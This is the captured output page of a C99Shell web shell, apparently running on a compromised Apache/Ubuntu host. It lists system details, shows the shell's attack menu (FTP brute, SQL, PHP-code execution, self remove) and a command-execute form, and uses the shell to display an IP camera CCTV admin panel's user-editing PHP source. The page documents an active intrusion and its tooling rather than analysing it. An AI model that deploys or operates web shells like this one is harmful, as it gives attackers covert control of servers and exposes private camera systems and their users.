!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/ipcam-cctv/admin/   drwxr-xr-x
Free 13.07 GB of 57.97 GB (22.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     edituser.php (3.51 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require_once($_SERVER['DOCUMENT_ROOT'].'/ipcam-cctv/include/main.php');

function 
fail($code) {
    include 
$_SERVER['DOCUMENT_ROOT'].'/ipcam-cctv/include/header.php';
    if (
$code == 1) {
        echo 
'<p>ERROR: Missing parameters.</p>';
    } elseif (
$code == 2) {
        echo 
'<p>ERROR: Database update failed.</p>';
    } elseif (
$code == 3) {
        echo 
'<p>ERROR: No password set.</p>';
    }
    include 
$_SERVER['DOCUMENT_ROOT'].'/ipcam-cctv/include/footer.php';
    exit;
}

if (isset(
$_POST['id'])) {
    
$id $_POST['id'];
        if (isset(
$_POST['delete'])) {
            if (!
$database->prepared_query('DELETE FROM `users` WHERE `id`=?', array('i'), array($id))) {
                
fail(2);
            } else {
                
header('Location: '.$_SERVER['HTTP_REFERER']);
                exit();
            }
        }
    if (isset(
$_POST['username']) && isset($_POST['password'])) {
        
$username $_POST['username'];
        
$password $_POST['password'];
        
$enabled = (isset($_POST['enabled'])) ? $_POST['enabled'] : 0;
        
        if (
$password != '') {
            
$password hash('sha256',$password);
            if (
$id == "new") {
                if (!
$database->prepared_query('INSERT INTO `users` (`username`, `password`, `enabled`) VALUES (?, ?, ?)', array('s','s','i'), array($username,$password,$enabled))) {
                    
fail(2);
                } else {
                    
header('Location: users.php');
                    exit;
                }
            } else {
                if (!
$database->prepared_query('UPDATE `users` SET `username`=?, `password`=?, `enabled`=? WHERE `id`=?', array('s','s','i','i'), array($username,$password,$enabled,$id))) {
                    
fail(2);
                } else {
                    
header('Location: users.php');
                    exit;
                }
            }
        } else {
            if (
$id == "new") { fail(3); }
            if (!
$database->prepared_query('UPDATE `users` SET `username`=?, `enabled`=? WHERE `id`=?', array('s','i','i'), array($username,$enabled,$id))) {
                
fail(2);
            } else {
                
header('Location: users.php');
                exit;
            }
        }
    }
}

if (isset(
$_GET['id']) && $database->prepared_query('select id, username, password, enabled from users where id=?', array('i'), array($_GET['id'])) && $database->result) {
    
$id $database->result[0]['id'];
    
$username $database->result[0]['username'];
    
$enabled $database->result[0]['enabled'];
} elseif (isset(
$_GET['new'])) {
    
$id "new";
    
$username "[NEW USER]";
    
$enabled 1;
} else {
    
header('Location: users.php');
    exit;
}

$pagepath = array(array('CCTV CONTROL''/ipcam-cctv/cctv.php'), array('ADMIN SETTINGS''/ipcam-cctv/admin/'), array('USER MANAGER''/ipcam-cctv/admin/users.php'), array('EDIT USER: '.$username$_SERVER['REQUEST_URI']));
$topbar true;
include 
$_SERVER['DOCUMENT_ROOT'].'/ipcam-cctv/include/header.php';

echo 
'<p><a class="btn btn-default" href="users.php">&lt&ltBACK</a></p>';

echo 
'<p>Leave password blank to keep existing password</p>';
echo 
'<form action="" method="post">';
echo 
'<input type="hidden" name="id" value="'.$id.'">';
echo 
'<table border="1">';
echo 
'<tr><td>Username:</td><td><input type="text" name="username" value="'.$username.'" autocomplete="off"></td></tr>';
echo 
'<tr><td>Password:</td><td><input type="password" name="password" value=""></td></tr>';
echo 
'<tr><td>Enabled:</td>';
if (
$enabled == 1) {
    echo 
'<td><input type="checkbox" value="1" name="enabled" checked></td>';
} else {
    echo 
'<td><input type="checkbox" value="1" name="enabled"></td>';
}
echo 
'</tr>';
echo 
'<tr><td colspan="2"><input class="btn btn-success" style="width: 100%;" type="submit" value="SAVE"></td></tr>';
echo 
'</table></form>';

include 
$_SERVER['DOCUMENT_ROOT'].'/ipcam-cctv/include/footer.php';
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0088 ]--